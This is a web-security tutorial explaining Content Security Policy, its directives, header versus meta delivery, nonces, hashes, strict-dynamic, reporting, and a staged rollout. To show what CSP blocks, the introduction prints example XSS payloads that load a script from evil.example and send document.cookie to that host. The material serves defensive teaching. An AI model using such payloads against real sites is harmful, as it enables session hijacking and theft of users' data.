What is CSP and Why Your Website Needs It
1. What CSP is and the attack it stops
A Content Security Policy (CSP) is a browser-enforced allowlist that tells the browser which sources of content a page is permitted to load and execute. You ship it as part of an HTTP response, the browser reads it, and from that point on anything not on the list gets blocked: a script from an unexpected domain, an inline <script> block, an eval() call, a stylesheet pulled from a CDN you never approved. CSP does not look at the content of those resources. It looks at where they came from, and refuses the ones you did not vouch for.
The attack it exists to contain is cross-site scripting (XSS): an attacker getting their JavaScript to run in the context of your page, with your origin, your cookies, and your users’ sessions. A comment field that echoes input back without escaping, a URL parameter rendered straight into the DOM, a third-party widget that gets compromised. Once attacker JavaScript runs on your origin, it can do anything your own code could — read the session token, rewrite the page, exfiltrate whatever the user types. The same-origin policy, the browser’s baseline isolation between sites, offers no help here, because the injected code runs as your origin rather than as a foreign one (for how that baseline works, see A Comprehensive Guide to the Same-Origin Policy and the CORS Policy). XSS has sat near the top of the OWASP Top Ten for two decades, and the ways to introduce it are endless: a single missed escape is enough.
The standard defense is to never let untrusted input become executable in the first place: escape on output, sanitize HTML, use framework templating that escapes by default. That is correct and you should do all of it. But it is a defense that has to be perfect everywhere, forever, across every developer who ever touches the codebase and every dependency in the tree. One unescaped interpolation, one innerHTML assignment, one outdated library, and the attacker is in.
CSP is the second layer. It assumes the first layer will eventually fail somewhere and limits the blast radius when it does. If your policy says scripts may only come from your own origin, then an attacker who successfully injects <script src="https://evil.example/steal.js"> into your page has injected a tag the browser will refuse to load. If your policy forbids inline scripts, then <script>document.location='https://evil.example/?c='+document.cookie</script> injected into a comment never executes. The injection still happened, the hole in layer one is still a hole, but the payload does not run. CSP turns a working exploit into a blocked request and a console error.
Be precise about what CSP does not do. It is not an input validator, a web application firewall, or a substitute for escaping. It does nothing about SQL injection, CSRF, or broken access control. CSP is one specific control for one specific class of problem, and it earns its place because that class of problem is both common and severe.
2. The directive model: sources, fetch directives, and default-src
A CSP is a single string of semicolon-separated directives, and each directive is a directive name followed by a space-separated list of values. Here is a small but representative one:
default-src 'self'; script-src 'self' https://cdn.example.com; img-src 'self' data:; style-src 'self'; object-src 'none'Read it left to right: by default load resources only from this origin; scripts may also come from cdn.example.com; images may also be inline data: URIs; styles only from this origin; plugins (<object>, <embed>) are forbidden entirely. Every directive is a question of the form “where may this kind of resource come from,” and the value list is the answer.
2.1. Source expressions
The values in a directive are source expressions. The ones you will use constantly:
| Source expression | Meaning |
|---|---|
'self' | The page’s own origin, scheme and port included. Not subdomains. |
'none' | Nothing. An empty allowlist. The resource type is fully blocked. |
https://cdn.example.com | That exact host over HTTPS. |
*.example.com | Any subdomain of example.com. |
https: | Any host, as long as the scheme is HTTPS. |
data: | data: URIs. Common for img-src, dangerous for script-src. |
'unsafe-inline' | Allow inline scripts/styles and event-handler attributes. |
'unsafe-eval' | Allow eval() and its relatives. |
The two 'unsafe-' keywords are named that way for a reason, and section 4 deals with how to avoid them. The quoted keywords ('self', 'none', 'unsafe-inline') must be written with the literal single quotes; host and scheme sources must not be quoted. Getting that wrong is the single most common CSP authoring mistake, and the browser will not tell you. It silently treats the malformed token as not matching anything.
2.2. Fetch directives and the default-src fallback
Most directives are fetch directives: each governs one category of resource the page can request.
| Directive | Governs |
|---|---|
script-src | JavaScript: <script> tags, inline scripts, eval. |
style-src | CSS: stylesheets, inline <style>, style= attributes. |
img-src | Images. |
font-src | Fonts. |
connect-src | fetch, XMLHttpRequest, WebSocket, EventSource. |
frame-src | Nested <iframe> documents. |
media-src | <audio> and <video>. |
object-src | <object>, <embed> plugin content. |
default-src is the fallback. When the browser needs to decide about a resource type and no specific directive for it is present, it uses default-src. So a policy of just default-src 'self' constrains scripts, styles, images, fonts, and connections all at once, because none of them have their own directive to override the fallback. Add script-src https://cdn.example.com and now scripts use that list instead, while everything else still falls back to 'self'.
One sharp edge: the fallback is all-or-nothing per directive. If you write script-src https://cdn.example.com and forget 'self', your own first-party scripts stop loading, because specifying script-src at all means it no longer inherits from default-src. The specific directive replaces the fallback; it does not merge with it. Almost every script-src you write should start with 'self'.
A few important directives are not fetch directives and have no default-src fallback at all. frame-ancestors controls who may embed your page in a frame (the modern replacement for the X-Frame-Options header, and your clickjacking defense). base-uri restricts what the page’s <base> tag may be set to, which matters because an injected <base> can hijack every relative URL on the page. form-action restricts where forms may submit. These exist independently; if you do not name them, they are simply not enforced. A genuinely defensive policy sets object-src 'none', base-uri 'self', and frame-ancestors explicitly, because none of them are covered by default-src.
3. Two ways to deliver a policy: response header vs. <meta> tag
A policy only does something if the browser receives it, and there are exactly two delivery mechanisms. The first, and the one you should reach for, is an HTTP response header on the document:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'The browser applies the policy to the document the header arrived with. You set it wherever your responses are assembled: in the web server config, in a reverse proxy, in application middleware, or, for a static site, in the host’s headers configuration. A few representative forms:
# nginx
add_header Content-Security-Policy "default-src 'self'; object-src 'none'" always;// Express
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; object-src 'none'"
);
next();
});Static hosts (Netlify, Cloudflare Pages, Vercel, GitHub Pages behind a CDN) each have a headers config file or dashboard panel that does the same job without an application server in the loop.
The second mechanism is an HTML <meta> tag in the document <head>:
<head>
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; object-src 'none'"
/>
</head>This is genuinely useful when you cannot control response headers: a page served from storage you do not configure, a CMS that owns the headers, a static export dropped onto a host with no headers panel. The browser parses the tag as it builds the DOM and enforces the policy from that point on.
The meta tag is the weaker option, for three concrete reasons you should know before you rely on it.
3.1. What the <meta> form cannot do
Three concrete limitations.
First, several directives are simply ignored in a meta tag. frame-ancestors, report-uri, and sandbox only work as a header. That is not a quirk; it is in the spec. frame-ancestors is a decision about whether the page may be framed at all, which the browser needs before it commits to rendering, and sandbox likewise. A meta tag arrives too late in the lifecycle to make those calls. So if you deliver your policy by meta tag, you have no CSP-based clickjacking protection and no reporting, and you would need a separate X-Frame-Options header anyway — which is itself a header.
Second, timing. A header is attached to the response before a single byte of the body is parsed, so the policy is in force for the entire document. A meta tag is enforced only once the parser reaches it. Any <script> or resource reference that appears in the markup above the meta tag, or that the browser’s preload scanner discovers before parsing gets there, are not covered. Put the CSP meta tag first in <head>, before everything else, or the gap is real.
Third, you can send only one meta-tag policy effectively, and you cannot remove or loosen a policy with one. A header can be set once cleanly at the edge; a meta tag is embedded in markup that may be assembled from templates and fragments, which makes it easy to end up with a policy that is hard to audit.
The summary: use the response header. It applies earlier, supports every directive, and lives in one place you can audit instead of being woven into page markup. Use the meta tag only when you truly cannot set headers, and when you do, accept that frame-ancestors, reporting, and sandbox are off the table.
4. Inline scripts and styles: nonces, hashes, and strict-dynamic
The hardest part of a production CSP is inline code, and the wrong fix for it is 'unsafe-inline'. Adding that keyword to script-src makes every inline <script> block and every onclick=-style handler attribute execute, which is exactly the thing an XSS payload is: an inline script the attacker injected. A policy with 'unsafe-inline' in script-src provides essentially zero XSS protection for scripts. It quietly turns CSP into theatre.
But production pages have inline scripts: an analytics snippet, a bit of bootstrap config, a framework’s hydration data. CSP offers two ways to allow specific inline scripts while still blocking everything else, and a third keyword that makes the whole scheme manageable.
4.1. Nonces
A nonce (number used once) is a random token your server generates fresh for every single response. You put it in the policy and on the script tags you trust:
Content-Security-Policy: script-src 'self' 'nonce-r4nd0mPerRequest=='<script nonce="r4nd0mPerRequest==">
// your trusted inline bootstrap code
</script>The browser executes an inline script only if its nonce attribute matches the nonce in the policy. The attacker, injecting markup, does not know the nonce: it was generated this request and will never be reused. Their injected <script> has no nonce, or a guessed one, and does not run.
Two rules make or break this. The nonce must be cryptographically random and at least ~128 bits of entropy, because a predictable nonce is no protection. And it must be unique per response: reuse it across requests or across users and an attacker who sees one nonce can reuse it. That is why nonces belong to server-rendered pages, where you can mint a token per request and inject it into both the header and the markup. A purely static file cannot carry a nonce, because there is no per-request server step to generate one.
4.2. Hashes
For inline scripts whose content is fixed and known ahead of time, the hash source skips the per-request machinery. You take the SHA-256 (or 384, or 512) of the exact script body, base64-encode it, and list it:
Content-Security-Policy: script-src 'self' 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='<script>
// the exact bytes that were hashed; one character of drift breaks the match
</script>The browser hashes each inline block it encounters and runs it only if the hash is in the allowlist. No server randomness needed, which makes hashes the inline mechanism that works for fully static sites. The catch is brittleness: the hash covers the script content byte for byte, so a build step that changes whitespace, or an edit you forget to re-hash, silently breaks it. Hashes suit a small number of stable inline blocks; they do not suit content that changes per build or per page.
4.3. strict-dynamic
Nonces and hashes have a scaling problem: they cover the scripts in your markup, but a trusted script that itself injects more scripts (a tag manager, a module loader, a bundler runtime) would need every descendant covered too, which is impractical. 'strict-dynamic' solves it: a script that the browser already trusts, because it carried a valid nonce or hash, is allowed to load further scripts, and those inherit the trust, recursively.
Content-Security-Policy: script-src 'nonce-r4nd0mPerRequest==' 'strict-dynamic'With 'strict-dynamic' present, the browser ignores host-source and 'self' entries in script-src for the purpose of trust propagation and relies entirely on the nonce/hash chain. That is a feature: host allowlists are leaky, because any open redirect or hosted-content path on an allowed domain can become a script source. A nonce-plus-strict-dynamic policy does not care about domains at all; it cares about the trust chain, which is much harder to subvert. This is the shape Google’s CSP Evaluator and most modern guidance steer you toward: script-src 'nonce-...' 'strict-dynamic', and skip the host allowlist for scripts entirely.
5. Report-Only mode and reporting endpoints
CSP can run in a mode where it blocks nothing and only tells you what it would have blocked. You send the policy under a different header name:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reportsIn Report-Only mode the browser evaluates the policy, lets every resource load and execute as normal, and for each thing that would have violated the policy it sends a JSON report to the endpoint you named. Nothing on the page breaks. This is the mode you deploy a new or tightened policy in first, and section 6 builds the whole rollout around it. You can also send both headers at once: an enforced policy under Content-Security-Policy and a stricter candidate under Content-Security-Policy-Report-Only, so you test the next iteration against real traffic while the current one protects users.
The reporting destination has two generations of directive, and this is an area where the standard is mid-transition.
report-uri /csp-reports is the original. On a violation the browser POSTs a JSON body to that URL with a csp-report object:
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.example/steal.js",
"line-number": 42,
"source-file": "https://example.com/page"
}
}report-uri is deprecated in the spec but still the most widely supported, so it remains worth sending.
report-to is the replacement. It does not name a URL directly; it names a reporting group that you define separately in a Reporting-Endpoints response header:
Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports"
Content-Security-Policy-Report-Only: default-src 'self'; report-to csp-endpointThe report-to payload shape differs from the legacy one, so a violation collector has to handle both formats. Because browser support is still uneven, the pragmatic move today is to send both: report-uri for the widest coverage and report-to for browsers that have moved on. Whatever the transport, the receiving endpoint is just a route that accepts a POST, parses JSON, and records it. You can write your own or use a hosted collector; the value is in reading the reports, not in the plumbing.
One thing to expect: a public reporting endpoint collects noise. Browser extensions inject scripts, antivirus products rewrite pages, and these generate violation reports that have nothing to do with your code. Filter aggressively, group by blocked-uri and violated-directive, and look at patterns rather than individual reports.
6. Rolling out CSP without breaking your site
Do not write a strict policy and deploy it enforced on day one. On any site with history behind it (third-party scripts, analytics, embeds, inline handlers accumulated over years) a strict policy enforced cold will break something, you will not know what until users do, and the temptation under pressure will be to slap 'unsafe-inline' on it and walk away. The way to avoid that is to let the browser inventory your site for you before you enforce anything.
Start in Report-Only. Deploy your intended policy, as strict as you would actually want it, under Content-Security-Policy-Report-Only. Nothing breaks for users. Point report-uri/report-to at a collector and let it run against production traffic for long enough to cover the variety of your pages and visitors, which in practice means days, not hours.
Inventory from the reports. The violations are a precise, automatically generated list of every source your site actually depends on and you forgot about: the analytics domain, the font CDN, the embedded video host and the inline script in one legacy template. This is the step that makes CSP tractable. You are not guessing your dependency graph, the browser is handing it to you.
Tighten, do not loosen. For each violation, decide deliberately. A legitimate source gets added to the right directive, as narrowly as possible: a specific host, not a wildcard; https://cdn.example.com, not https:. An inline script gets a nonce or a hash, not an 'unsafe-inline' that reopens the door for everything. A source you do not recognize is exactly the thing CSP exists to catch, so investigate it rather than allowlisting it away. The goal of each iteration is a shorter, more specific policy, never a broader one.
Flip to enforce. When the Report-Only stream has gone quiet apart from extension noise, move the same policy to the Content-Security-Policy header. From here, keep a stricter candidate running in Content-Security-Policy-Report-Only alongside it, so the next tightening is always being tested against live traffic before it enforces.
A few gotchas, each capable of costing you an afternoon:
'self'does not include subdomains. A page onwww.example.comloading fromstatic.example.comneeds that host listed explicitly, or*.example.com.'self'does not cover inline code. Inline scripts and styles need a nonce, a hash, or, for styles only,'unsafe-inline'onstyle-src(lower-risk than for scripts, since injected CSS cannot exfiltrate data the way an injected script can). Many “CSP broke my site” reports are inline handlers nobody remembered.- Browser-extension noise is constant. Plan to filter it out of reports from the start; it never stops.
- The meta tag silently drops directives. If you must deliver by meta tag, remember that
frame-ancestors,report-uri, andsandboxdo nothing there, so you lose your reporting and clickjacking story (section 3.1). - A typo fails open, quietly. Mistype a directive name or drop the quotes on
'self'and the browser ignores that token without a word. Validate your policy with a checker like Google’s CSP Evaluator rather than trusting that it parsed.
CSP is not a one-line config you set and forget. It is a small, living allowlist that tracks what your site genuinely loads, and it earns its keep the day an XSS bug slips past your escaping and the browser, holding your policy, refuses to run the payload.